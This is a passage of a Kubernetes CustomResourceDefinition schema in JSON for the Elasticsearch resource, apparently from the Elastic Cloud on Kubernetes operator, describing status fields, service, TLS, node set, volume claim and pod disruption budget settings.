Elasticsearch.","type":"string"},"volumeClaimDeletePolicy":{"description":"VolumeClaimDeletePolicy sets the policy for handling deletion of PersistentVolumeClaims for all NodeSets.\nPossible values are DeleteOnScaledownOnly and DeleteOnScaledownAndClusterDeletion. Defaults to DeleteOnScaledownAndClusterDeletion.","enum":["DeleteOnScaledownOnly","DeleteOnScaledownAndClusterDeletion"],"type":"string"}},"required":["nodeSets","version"],"type":"object"},"status":{"description":"ElasticsearchStatus represents the observed state of Elasticsearch.","properties":{"availableNodes":{"description":"AvailableNodes is the number of available instances.","format":"int32","type":"integer"},"conditions":{"description":"Conditions holds the current service state of an Elasticsearch cluster.\n**This API is in technical preview and may be changed or removed in a future release.**","items":{"description":"Condition represents Elasticsearch resource's condition.\n**This API is in technical preview and may be changed or removed in a future release.**","properties":{"lastTransitionTime":{"format":"date-time","type":"string"},"message":{"type":"string"},"status":{"type":"string"},"type":{"description":"ConditionType defines the condition of an Elasticsearch resource.","type":"string"}},"required":["status","type"],"type":"object"},"type":"array"},"health":{"description":"ElasticsearchHealth is the health of the cluster as returned by the health API.","type":"string"},"inProgressOperations":{"description":"InProgressOperations represents changes being applied by the operator to the Elasticsearch cluster.\n**This API is in technical preview and may be changed or removed in a future release.**","properties":{"downscale":{"description":"DownscaleOperation provides details about in progress downscale operations.\n**This API is in technical preview and may be changed or removed in a future release.**","properties":{"lastUpdatedTime":{"format":"date-time","type":"string"},"nodes":{"description":"Nodes which are scheduled to be removed from the cluster.","items":{"description":"DownscaledNode provides an overview of in progress changes applied by the operator to remove Elasticsearch nodes from the cluster.\n**This API is in technical preview and may be changed or removed in a future release.**","properties":{"explanation":{"description":"Explanation provides details about an in progress node shutdown. It is only available for clusters managed with the\nElasticsearch shutdown API.","type":"string"},"name":{"description":"Name of the Elasticsearch node that should be removed.","type":"string"},"shutdownStatus":{"description":"Shutdown status as returned by the Elasticsearch shutdown API.\nIf the Elasticsearch shutdown API is not available, the shutdown status is then inferred from the remaining\nshards on the nodes, as observed by the operator.","type":"string"}},"required":["name","shutdownStatus"],"type":"object"},"type":"array"},"stalled":{"description":"Stalled represents a state where no progress can be made.\nIt is only available for clusters managed with the Elasticsearch shutdown API.","type":"boolean"}},"type":"object"},"upgrade":{"description":"UpgradeOperation provides an overview of the pending or in progress changes applied by the operator to update the Elasticsearch nodes in the cluster.\n**This API is in technical preview and may be changed or removed in a future release.**","properties":{"lastUpdatedTime":{"format":"date-time","type":"string"},"nodes":{"description":"Nodes that must be restarted for upgrade.","items":{"description":"UpgradedNode provides details about the status of nodes which are expected to be updated.\n**This API is in technical preview and may be changed or removed in a future release.**","properties":{"message":{"description":"Optional message to explain why a node may not be immediately restarted for upgrade.","type":"string"},"name":{"description":"Name of the Elasticsearch node that should be upgraded.","type":"string"},"predicate":{"description":"Predicate is the name of the predicate currently preventing this node from being deleted for an upgrade.","type":"string"},"status":{"description":"Status states if the node is either in the process of being deleted for an upgrade,\nor blocked by a predicate or another condition stated in the message field.","type":"string"}},"required":["name","status"],"type":"object"},"type":"array"}},"type":"object"},"upscale":{"description":"UpscaleOperation provides an overview of in progress changes applied by the operator to add Elasticsearch nodes to the cluster.\n**This API is in technical preview and may be changed or removed in a future release.**","properties":{"lastUpdatedTime":{"format":"date-time","type":"string"},"nodes":{"description":"Nodes expected to be added by the operator.","items":{"properties":{"message":{"description":"Optional message to explain why a node may not be immediately added.","type":"string"},"name":{"description":"Name of the Elasticsearch node that should be added to the cluster.","type":"string"},"status":{"description":"NewNodeStatus states if a new node is being created, or if the upscale is delayed.","type":"string"}},"required":["name","status"],"type":"object"},"type":"array"}},"type":"object"}},"required":["downscale","upgrade","upscale"],"type":"object"},"monitoringAssociationStatus":{"additionalProperties":{"description":"AssociationStatus is the status of an association resource.","type":"string"},"description":"AssociationStatusMap is the map of association's namespaced name string to its AssociationStatus. For resources that\nhave a single Association of a given type (for ex. single ES reference), this map contains a single entry.","type":"object"},"observedGeneration":{"description":"ObservedGeneration is the most recent generation observed for this Elasticsearch cluster.\nIt corresponds to the metadata generation, which is updated on mutation by the API Server.\nIf the generation observed in status diverges from the generation in metadata, the Elasticsearch\ncontroller has not yet processed the changes contained in the Elasticsearch specification.","format":"int64","type":"integer"},"phase":{"description":"ElasticsearchOrchestrationPhase is the phase Elasticsearch is in from the controller point of view.","type":"string"},"version":{"description":"Version of the stack resource currently running. During version upgrades, multiple versions may run\nin parallel: this value specifies the lowest version currently running.","type":"string"}},"type":"object"}},"type":"object"}},"served":true,"storage":true,"subresources":{"status":{}}},{"additionalPrinterColumns":[{"jsonPath":".status.health","name":"health","type":"string"},{"description":"Available nodes","jsonPath":".status.availableNodes","name":"nodes","type":"integer"},{"description":"Elasticsearch version","jsonPath":".spec.version","name":"version","type":"string"},{"jsonPath":".status.phase","name":"phase","type":"string"},{"jsonPath":".metadata.creationTimestamp","name":"age","type":"date"}],"name":"v1beta1","schema":{"openAPIV3Schema":{"description":"Elasticsearch represents an Elasticsearch resource in a Kubernetes cluster.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"ElasticsearchSpec holds the specification of an Elasticsearch cluster.","properties":{"http":{"description":"HTTP holds HTTP layer settings for Elasticsearch.","properties":{"service":{"description":"Service defines the template for the associated Kubernetes Service object.","properties":{"metadata":{"description":"ObjectMeta is the metadata of the service.\nThe name and namespace provided here are managed by ECK and will be ignored.","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"Spec is the specification of the service.","properties":{"allocateLoadBalancerNodePorts":{"description":"allocateLoadBalancerNodePorts defines if NodePorts will be automatically\nallocated for services with type LoadBalancer.  Default is \"true\". It\nmay be set to \"false\" if the cluster load-balancer does not rely on\nNodePorts.  If the caller requests specific NodePorts (by specifying a\nvalue), those requests will be respected, regardless of this field.\nThis field may only be set for services with type LoadBalancer and will\nbe cleared if the type is changed to any other type.","type":"boolean"},"clusterIP":{"description":"clusterIP is the IP address of the service and is usually assigned\nrandomly. If an address is specified manually, is in-range (as per\nsystem configuration), and is not in use, it will be allocated to the\nservice; otherwise creation of the service will fail. This field may not\nbe changed through updates unless the type field is also being changed\nto ExternalName (which requires this field to be blank) or the type\nfield is being changed from ExternalName (in which case this field may\noptionally be specified, as describe above).  Valid values are \"None\",\nempty string (\"\"), or a valid IP address. Setting this to \"None\" makes a\n\"headless service\" (no virtual IP), which is useful when direct endpoint\nconnections are preferred and proxying is not required.  Only applies to\ntypes ClusterIP, NodePort, and LoadBalancer. If this field is specified\nwhen creating a Service of type ExternalName, creation will fail. This\nfield will be wiped when updating a Service to type ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"clusterIPs":{"description":"ClusterIPs is a list of IP addresses assigned to this service, and are\nusually assigned randomly.  If an address is specified manually, is\nin-range (as per system configuration), and is not in use, it will be\nallocated to the service; otherwise creation of the service will fail.\nThis field may not be changed through updates unless the type field is\nalso being changed to ExternalName (which requires this field to be\nempty) or the type field is being changed from ExternalName (in which\ncase this field may optionally be specified, as describe above).  Valid\nvalues are \"None\", empty string (\"\"), or a valid IP address.  Setting\nthis to \"None\" makes a \"headless service\" (no virtual IP), which is\nuseful when direct endpoint connections are preferred and proxying is\nnot required.  Only applies to types ClusterIP, NodePort, and\nLoadBalancer. If this field is specified when creating a Service of type\nExternalName, creation will fail. This field will be wiped when updating\na Service to type ExternalName.  If this field is not specified, it will\nbe initialized from the clusterIP field.  If this field is specified,\nclients must ensure that clusterIPs[0] and clusterIP have the same\nvalue.\n\n\nThis field may hold a maximum of two entries (dual-stack IPs, in either order).\nThese IPs must correspond to the values of the ipFamilies field. Both\nclusterIPs and ipFamilies are governed by the ipFamilyPolicy field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalIPs":{"description":"externalIPs is a list of IP addresses for which nodes in the cluster\nwill also accept traffic for this service.  These IPs are not managed by\nKubernetes.  The user is responsible for ensuring that traffic arrives\nat a node with this IP.  A common example is external load-balancers\nthat are not part of the Kubernetes system.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalName":{"description":"externalName is the external reference that discovery mechanisms will\nreturn as an alias for this service (e.g. a DNS CNAME record). No\nproxying will be involved.  Must be a lowercase RFC-1123 hostname\n(https://tools.ietf.org/html/rfc1123) and requires `type` to be \"ExternalName\".","type":"string"},"externalTrafficPolicy":{"description":"externalTrafficPolicy describes how nodes distribute service traffic they\nreceive on one of the Service's \"externally-facing\" addresses (NodePorts,\nExternalIPs, and LoadBalancer IPs). If set to \"Local\", the proxy will configure\nthe service in a way that assumes that external load balancers will take care\nof balancing the service traffic between nodes, and so each node will deliver\ntraffic only to the node-local endpoints of the service, without masquerading\nthe client source IP. (Traffic mistakenly sent to a node with no endpoints will\nbe dropped.) The default value, \"Cluster\", uses the standard behavior of\nrouting to all endpoints evenly (possibly modified by topology and other\nfeatures). Note that traffic sent to an External IP or LoadBalancer IP from\nwithin the cluster will always get \"Cluster\" semantics, but clients sending to\na NodePort from within the cluster may need to take traffic policy into account\nwhen picking a node.","type":"string"},"healthCheckNodePort":{"description":"healthCheckNodePort specifies the healthcheck nodePort for the service.\nThis only applies when type is set to LoadBalancer and\nexternalTrafficPolicy is set to Local. If a value is specified, is\nin-range, and is not in use, it will be used.  If not specified, a value\nwill be automatically allocated.  External systems (e.g. load-balancers)\ncan use this port to determine if a given node holds endpoints for this\nservice or not.  If this field is specified when creating a Service\nwhich does not need it, creation will fail. This field will be wiped\nwhen updating a Service to no longer need it (e.g. changing type).\nThis field cannot be updated once set.","format":"int32","type":"integer"},"internalTrafficPolicy":{"description":"InternalTrafficPolicy describes how nodes distribute service traffic they\nreceive on the ClusterIP. If set to \"Local\", the proxy will assume that pods\nonly want to talk to endpoints of the service on the same node as the pod,\ndropping the traffic if there are no local endpoints. The default value,\n\"Cluster\", uses the standard behavior of routing to all endpoints evenly\n(possibly modified by topology and other features).","type":"string"},"ipFamilies":{"description":"IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this\nservice. This field is usually assigned automatically based on cluster\nconfiguration and the ipFamilyPolicy field. If this field is specified\nmanually, the requested family is available in the cluster,\nand ipFamilyPolicy allows it, it will be used; otherwise creation of\nthe service will fail. This field is conditionally mutable: it allows\nfor adding or removing a secondary IP family, but it does not allow\nchanging the primary IP family of the Service. Valid values are \"IPv4\"\nand \"IPv6\".  This field only applies to Services of types ClusterIP,\nNodePort, and LoadBalancer, and does apply to \"headless\" services.\nThis field will be wiped when updating a Service to type ExternalName.\n\n\nThis field may hold a maximum of two entries (dual-stack families, in\neither order).  These families must correspond to the values of the\nclusterIPs field, if specified. Both clusterIPs and ipFamilies are\ngoverned by the ipFamilyPolicy field.","items":{"description":"IPFamily represents the IP Family (IPv4 or IPv6). This type is used\nto express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).","type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ipFamilyPolicy":{"description":"IPFamilyPolicy represents the dual-stack-ness requested or required by\nthis Service. If there is no value provided, then this field will be set\nto SingleStack. Services can be \"SingleStack\" (a single IP family),\n\"PreferDualStack\" (two IP families on dual-stack configured clusters or\na single IP family on single-stack clusters), or \"RequireDualStack\"\n(two IP families on dual-stack configured clusters, otherwise fail). The\nipFamilies and clusterIPs fields depend on the value of this field. This\nfield will be wiped when updating a service to type ExternalName.","type":"string"},"loadBalancerClass":{"description":"loadBalancerClass is the class of the load balancer implementation this Service belongs to.\nIf specified, the value of this field must be a label-style identifier, with an optional prefix,\ne.g. \"internal-vip\" or \"example.com/internal-vip\". Unprefixed names are reserved for end-users.\nThis field can only be set when the Service type is 'LoadBalancer'. If not set, the default load\nbalancer implementation is used, today this is typically done through the cloud provider integration,\nbut should apply for any default implementation. If set, it is assumed that a load balancer\nimplementation is watching for Services with a matching class. Any default load balancer\nimplementation (e.g. cloud providers) should ignore Services that set this field.\nThis field can only be set when creating or updating a Service to type 'LoadBalancer'.\nOnce set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.","type":"string"},"loadBalancerIP":{"description":"Only applies to Service Type: LoadBalancer.\nThis feature depends on whether the underlying cloud-provider supports specifying\nthe loadBalancerIP when a load balancer is created.\nThis field will be ignored if the cloud-provider does not support the feature.\nDeprecated: This field was under-specified and its meaning varies across implementations.\nUsing it is non-portable and it may not support dual-stack.\nUsers are encouraged to use implementation-specific annotations when available.","type":"string"},"loadBalancerSourceRanges":{"description":"If specified and supported by the platform, this will restrict traffic through the cloud-provider\nload-balancer will be restricted to the specified client IPs. This field will be ignored if the\ncloud-provider does not support the feature.\"\nMore info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ports":{"description":"The list of ports that are exposed by this service.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"description":"ServicePort contains information on service's port.","properties":{"appProtocol":{"description":"The application protocol for this port.\nThis is used as a hint for implementations to offer richer behavior for protocols that they understand.\nThis field follows standard Kubernetes label syntax.\nValid values are either:\n\n\n* Un-prefixed protocol names - reserved for IANA standard service names (as per\nRFC-6335 and https://www.iana.org/assignments/service-names).\n\n\n* Kubernetes-defined prefixed names:\n  * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-\n  * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455\n  * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455\n\n\n* Other protocols should use implementation-defined prefixed names such as\nmycompany.com/my-custom-protocol.","type":"string"},"name":{"description":"The name of this port within the service. This must be a DNS_LABEL.\nAll ports within a ServiceSpec must have unique names. When considering\nthe endpoints for a Service, this must match the 'name' field in the\nEndpointPort.\nOptional if only one ServicePort is defined on this service.","type":"string"},"nodePort":{"description":"The port on each node on which this service is exposed when type is\nNodePort or LoadBalancer.  Usually assigned by the system. If a value is\nspecified, in-range, and not in use it will be used, otherwise the\noperation will fail.  If not specified, a port will be allocated if this\nService requires one.  If this field is specified when creating a\nService which does not need it, creation will fail. This field will be\nwiped when updating a Service to no longer need it (e.g. changing type\nfrom NodePort to ClusterIP).\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport","format":"int32","type":"integer"},"port":{"description":"The port that will be exposed by this service.","format":"int32","type":"integer"},"protocol":{"default":"TCP","description":"The IP protocol for this port. Supports \"TCP\", \"UDP\", and \"SCTP\".\nDefault is TCP.","type":"string"},"targetPort":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Number or name of the port to access on the pods targeted by the service.\nNumber must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.\nIf this is a string, it will be looked up as a named port in the\ntarget Pod's container ports. If this is not specified, the value\nof the 'port' field is used (an identity map).\nThis field is ignored for services with clusterIP=None, and should be\nomitted or set equal to the 'port' field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service","x-kubernetes-int-or-string":true}},"required":["port"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["port","protocol"],"x-kubernetes-list-type":"map"},"publishNotReadyAddresses":{"description":"publishNotReadyAddresses indicates that any agent which deals with endpoints for this\nService should disregard any indications of ready/not-ready.\nThe primary use case for setting this field is for a StatefulSet's Headless Service to\npropagate SRV DNS records for its Pods for the purpose of peer discovery.\nThe Kubernetes controllers that generate Endpoints and EndpointSlice resources for\nServices interpret this to mean that all endpoints are considered \"ready\" even if the\nPods themselves are not. Agents which consume only Kubernetes generated endpoints\nthrough the Endpoints or EndpointSlice resources can safely assume this behavior.","type":"boolean"},"selector":{"additionalProperties":{"type":"string"},"description":"Route service traffic to pods with label keys and values matching this\nselector. If empty or not present, the service is assumed to have an\nexternal process managing its endpoints, which Kubernetes will not\nmodify. Only applies to types ClusterIP, NodePort, and LoadBalancer.\nIgnored if type is ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/","type":"object","x-kubernetes-map-type":"atomic"},"sessionAffinity":{"description":"Supports \"ClientIP\" and \"None\". Used to maintain session affinity.\nEnable client IP based session affinity.\nMust be ClientIP or None.\nDefaults to None.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"sessionAffinityConfig":{"description":"sessionAffinityConfig contains the configurations of session affinity.","properties":{"clientIP":{"description":"clientIP contains the configurations of Client IP based session affinity.","properties":{"timeoutSeconds":{"description":"timeoutSeconds specifies the seconds of ClientIP type session sticky time.\nThe value must be \u003e0 \u0026\u0026 \u003c=86400(for 1 day) if ServiceAffinity == \"ClientIP\".\nDefault value is 10800(for 3 hours).","format":"int32","type":"integer"}},"type":"object"}},"type":"object"},"trafficDistribution":{"description":"TrafficDistribution offers a way to express preferences for how traffic is\ndistributed to Service endpoints. Implementations can use this field as a\nhint, but are not required to guarantee strict adherence. If the field is\nnot set, the implementation will apply its default routing strategy. If set\nto \"PreferClose\", implementations should prioritize endpoints that are\ntopologically close (e.g., same zone).\nThis is an alpha field and requires enabling ServiceTrafficDistribution feature.","type":"string"},"type":{"description":"type determines how the Service is exposed. Defaults to ClusterIP. Valid\noptions are ExternalName, ClusterIP, NodePort, and LoadBalancer.\n\"ClusterIP\" allocates a cluster-internal IP address for load-balancing\nto endpoints. Endpoints are determined by the selector or if that is not\nspecified, by manual construction of an Endpoints object or\nEndpointSlice objects. If clusterIP is \"None\", no virtual IP is\nallocated and the endpoints are published as a set of endpoints rather\nthan a virtual IP.\n\"NodePort\" builds on ClusterIP and allocates a port on every node which\nroutes to the same endpoints as the clusterIP.\n\"LoadBalancer\" builds on NodePort and creates an external load-balancer\n(if supported in the current cloud) which routes to the same endpoints\nas the clusterIP.\n\"ExternalName\" aliases this service to the specified externalName.\nSeveral other fields do not apply to ExternalName services.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types","type":"string"}},"type":"object"}},"type":"object"},"tls":{"description":"TLS defines options for configuring TLS for HTTP.","properties":{"certificate":{"description":"Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.\nThe referenced secret should contain the following:\n\n\n- `ca.crt`: The certificate authority (optional).\n- `tls.crt`: The certificate (or a chain).\n- `tls.key`: The private key to the first certificate in the certificate chain.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"selfSignedCertificate":{"description":"SelfSignedCertificate allows configuring the self-signed certificate generated by the operator.","properties":{"disabled":{"description":"Disabled indicates that the provisioning of the self-signed certifcate should be disabled.","type":"boolean"},"subjectAltNames":{"description":"SubjectAlternativeNames is a list of SANs to include in the generated HTTP TLS certificate.","items":{"description":"SubjectAlternativeName represents a SAN entry in a x509 certificate.","properties":{"dns":{"description":"DNS is the DNS name of the subject.","type":"string"},"ip":{"description":"IP is the IP address of the subject.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"type":"object"},"image":{"description":"Image is the Elasticsearch Docker image to deploy.","type":"string"},"nodeSets":{"description":"NodeSets allow specifying groups of Elasticsearch nodes sharing the same configuration and Pod templates.","items":{"description":"NodeSet is the specification for a group of Elasticsearch nodes sharing the same configuration and a Pod template.","properties":{"config":{"description":"Config holds the Elasticsearch configuration.","type":"object"},"count":{"description":"Count of Elasticsearch nodes to deploy.","format":"int32","minimum":1,"type":"integer"},"name":{"description":"Name of this set of nodes. Becomes a part of the Elasticsearch node.name setting.","maxLength":23,"pattern":"[a-zA-Z0-9-]+","type":"string"},"podTemplate":{"description":"PodTemplate provides customisation options (labels, annotations, affinity rules, resource requests, and so on) for the Pods belonging to this NodeSet.","type":"object"},"volumeClaimTemplates":{"description":"VolumeClaimTemplates is a list of persistent volume claims to be used by each Pod in this NodeSet.\nEvery claim in this list must have a matching volumeMount in one of the containers defined in the PodTemplate.\nItems defined here take precedence over any default claims added by the operator with the same name.","items":{"description":"PersistentVolumeClaim is a user's request for and claim to a persistent volume","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"description":"Standard object's metadata.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"spec defines the desired characteristics of a volume requested by a pod author.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#persistentvolumeclaims","properties":{"accessModes":{"description":"accessModes contains the desired access modes the volume should have.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#access-modes-1","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"dataSource":{"description":"dataSource field can be used to specify either:\n* An existing VolumeSnapshot object (snapshot.storage.k8s.io/VolumeSnapshot)\n* An existing PVC (PersistentVolumeClaim)\nIf the provisioner or an external controller can support the specified data source,\nit will create a new volume based on the contents of the specified data source.\nWhen the AnyVolumeDataSource feature gate is enabled, dataSource contents will be copied to dataSourceRef,\nand dataSourceRef contents will be copied to dataSource when dataSourceRef.namespace is not specified.\nIf the namespace is specified, then dataSourceRef will not be copied to dataSource.","properties":{"apiGroup":{"description":"APIGroup is the group for the resource being referenced.\nIf APIGroup is not specified, the specified Kind must be in the core API group.\nFor any other third-party types, APIGroup is required.","type":"string"},"kind":{"description":"Kind is the type of resource being referenced","type":"string"},"name":{"description":"Name is the name of resource being referenced","type":"string"}},"required":["kind","name"],"type":"object","x-kubernetes-map-type":"atomic"},"dataSourceRef":{"description":"dataSourceRef specifies the object from which to populate the volume with data, if a non-empty\nvolume is desired. This may be any object from a non-empty API group (non\ncore object) or a PersistentVolumeClaim object.\nWhen this field is specified, volume binding will only succeed if the type of\nthe specified object matches some installed volume populator or dynamic\nprovisioner.\nThis field will replace the functionality of the dataSource field and as such\nif both fields are non-empty, they must have the same value. For backwards\ncompatibility, when namespace isn't specified in dataSourceRef,\nboth fields (dataSource and dataSourceRef) will be set to the same\nvalue automatically if one of them is empty and the other is non-empty.\nWhen namespace is specified in dataSourceRef,\ndataSource isn't set to the same value and must be empty.\nThere are three important differences between dataSource and dataSourceRef:\n* While dataSource only allows two specific types of objects, dataSourceRef\n  allows any non-core object, as well as PersistentVolumeClaim objects.\n* While dataSource ignores disallowed values (dropping them), dataSourceRef\n  preserves all values, and generates an error if a disallowed value is\n  specified.\n* While dataSource only allows local objects, dataSourceRef allows objects\n  in any namespaces.\n(Beta) Using this field requires the AnyVolumeDataSource feature gate to be enabled.\n(Alpha) Using the namespace field of dataSourceRef requires the CrossNamespaceVolumeDataSource feature gate to be enabled.","properties":{"apiGroup":{"description":"APIGroup is the group for the resource being referenced.\nIf APIGroup is not specified, the specified Kind must be in the core API group.\nFor any other third-party types, APIGroup is required.","type":"string"},"kind":{"description":"Kind is the type of resource being referenced","type":"string"},"name":{"description":"Name is the name of resource being referenced","type":"string"},"namespace":{"description":"Namespace is the namespace of resource being referenced\nNote that when a namespace is specified, a gateway.networking.k8s.io/ReferenceGrant object is required in the referent namespace to allow that namespace's owner to accept the reference. See the ReferenceGrant documentation for details.\n(Alpha) This field requires the CrossNamespaceVolumeDataSource feature gate to be enabled.","type":"string"}},"required":["kind","name"],"type":"object"},"resources":{"description":"resources represents the minimum resources the volume should have.\nIf RecoverVolumeExpansionFailure feature is enabled users are allowed to specify resource requirements\nthat are lower than previous value but must still be higher than capacity recorded in the\nstatus field of the claim.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#resources","properties":{"limits":{"additionalProperties":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"description":"Limits describes the maximum amount of compute resources allowed.\nMore info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/","type":"object"},"requests":{"additionalProperties":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"description":"Requests describes the minimum amount of compute resources required.\nIf Requests is omitted for a container, it defaults to Limits if that is explicitly specified,\notherwise to an implementation-defined value. Requests cannot exceed Limits.\nMore info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/","type":"object"}},"type":"object"},"selector":{"description":"selector is a label query over volumes to consider for binding.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"}},"required":["key","operator"],"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"storageClassName":{"description":"storageClassName is the name of the StorageClass required by the claim.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#class-1","type":"string"},"volumeAttributesClassName":{"description":"volumeAttributesClassName may be used to set the VolumeAttributesClass used by this claim.\nIf specified, the CSI driver will create or update the volume with the attributes defined\nin the corresponding VolumeAttributesClass. This has a different purpose than storageClassName,\nit can be changed after the claim is created. An empty string value means that no VolumeAttributesClass\nwill be applied to the claim but it's not allowed to reset this field to empty string once it is set.\nIf unspecified and the PersistentVolumeClaim is unbound, the default VolumeAttributesClass\nwill be set by the persistentvolume controller if it exists.\nIf the resource referred to by volumeAttributesClass does not exist, this PersistentVolumeClaim will be\nset to a Pending state, as reflected by the modifyVolumeStatus field, until such as a resource\nexists.\nMore info: https://kubernetes.io/docs/concepts/storage/volume-attributes-classes/\n(Alpha) Using this field requires the VolumeAttributesClass feature gate to be enabled.","type":"string"},"volumeMode":{"description":"volumeMode defines what type of volume is required by the claim.\nValue of Filesystem is implied when not included in claim spec.","type":"string"},"volumeName":{"description":"volumeName is the binding reference to the PersistentVolume backing this claim.","type":"string"}},"type":"object"}},"type":"object"},"type":"array"}},"required":["count","name"],"type":"object"},"minItems":1,"type":"array"},"podDisruptionBudget":{"description":"PodDisruptionBudget provides access to the default pod disruption budget for the Elasticsearch cluster.\nThe default budget selects all cluster pods and sets `maxUnavailable` to 1. To disable, set `PodDisruptionBudget`\nto the empty value (`{}` in YAML).","properties":{"metadata":{"description":"ObjectMeta is the metadata of the PDB.\nThe name and namespace provided here are managed by ECK and will be ignored.","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"Spec is the specification of the PDB.","properties":{"maxUnavailable":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"An eviction is allowed if at most \"maxUnavailable\" pods selected by\n\"selector\" are unavailable after the eviction, i.e. even in absence of\nthe evicted pod. For example, one can prevent all voluntary evictions\nby specifying 0. This is a mutually exclusive setting with \"minAvailable\".","x-kubernetes-int-or-string":true},"minAvailable":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"An eviction is allowed if at least \"minAvailable\" pods selected by\n\"selector\" will still be available after the eviction, i.e. even in the\nabsence of the evicted pod.  So for example you can prevent all voluntary\nevictions by specifying \"100%\".","x-kubernetes-int-or-string":true},"selector":{"description":"Label query over pods whose evictions are managed by the disruption\nbudget.\nA null selector selects no pods.\nAn empty selector ({}) also selects no pods, which differs from standard behavior of selecting all pods.\nIn policy/v1, an empty selector will select all pods in the namespace.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are 